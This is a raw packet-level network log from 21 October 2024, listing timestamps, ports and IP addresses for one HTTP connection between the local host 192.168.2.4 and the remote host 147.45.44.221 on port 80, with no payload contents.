Oct 21, 2024 08:47:31.671093941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671102047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671106100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671118021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671129942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671143055 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671175003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671178102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671222925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671271086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671279907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671288967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671299934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671313047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671318054 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671331882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671341896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671344042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671344042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671353102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671361923 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671366930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671374083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671377897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671396017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671397924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671413898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671417952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671432018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671433926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671446085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671456099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671464920 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671483994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671490908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671495914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671508074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671518087 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671519041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671519041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671535969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671592951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671603918 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671612978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671617031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671627998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671652079 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671696901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671696901 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671709061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671717882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671741009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671751022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671761036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671771049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671794891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671794891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671828032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671839952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671855927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671870947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671922922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671933889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671943903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.671974897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.671977997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.672015905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.672015905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.796821117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.796987057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.796997070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797007084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797015905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797017097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797036886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797039986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797059059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797069073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797071934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797081947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797094107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797101021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797105074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797113895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797117949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797148943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797179937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797389030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797431946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797441959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797451973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797468901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797468901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797478914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797489882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797496080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797533989 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797561884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797578096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797590971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797604084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797616959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797616959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797627926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797638893 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797646999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797652960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797681093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797692060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797699928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797702074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797714949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797739983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797740936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797766924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797770977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797790051 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797801018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797806025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797811031 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797822952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797831059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797875881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797875881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797893047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797903061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797909021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797951937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797951937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.797980070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.797991991 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798018932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798023939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798037052 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798088074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798088074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798121929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798132896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798142910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798152924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798163891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798172951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798181057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798181057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798213005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798213959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798233986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798245907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798253059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798261881 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798271894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798285961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798296928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798314095 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798324108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798345089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798355103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798366070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798367023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798377037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798391104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798403025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798482895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798497915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798506975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798518896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798530102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798540115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798547983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798553944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798568010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798568010 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798573971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798583984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798593044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798593044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798593044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798603058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798629045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798640013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798650026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798650980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798677921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798686981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798702955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798724890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798758030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798770905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798782110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798785925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798825979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798846006 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798856974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798861980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798887968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798893929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798899889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798909903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798927069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798934937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798934937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798938990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798949957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.798957109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798990011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.798990011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799031973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799041986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799046993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799052000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799072981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799093008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799113035 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799127102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799397945 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799408913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799420118 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799439907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799449921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799455881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799460888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799470901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799475908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799494028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799494028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799505949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799524069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799527884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799527884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799535990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799549103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:31.799565077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799565077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799592972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.799592972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.836883068 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:31.841722012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089154005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089369059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089431047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089442968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089452982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089462042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089473009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089482069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089483976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089493990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089504957 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089515924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089525938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089535952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089536905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089546919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089550018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089559078 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089570045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089580059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089586020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089586020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089590073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089601994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089613914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089617968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089617968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089624882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089637995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089643002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089654922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089667082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089675903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089675903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089689016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089696884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089696884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089745045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089757919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089781046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089782953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089782953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089792013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089802980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089812994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089823008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089824915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089824915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089839935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.089867115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089867115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.089925051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111288071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111320972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111325979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111397028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111409903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111414909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111419916 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111490011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111493111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111506939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111512899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111524105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111535072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111541986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111546993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111557007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111567974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111581087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111608028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111608028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111644030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111654043 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111658096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111663103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111673117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111677885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111682892 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111696005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111706018 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111716032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111730099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111732960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111741066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111746073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111753941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111757994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111779928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:32.111788034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111799002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111809015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111819029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111824036 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111829042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:32.111829996 CEST	49732	80	192.168.2.4	147.45.44.221
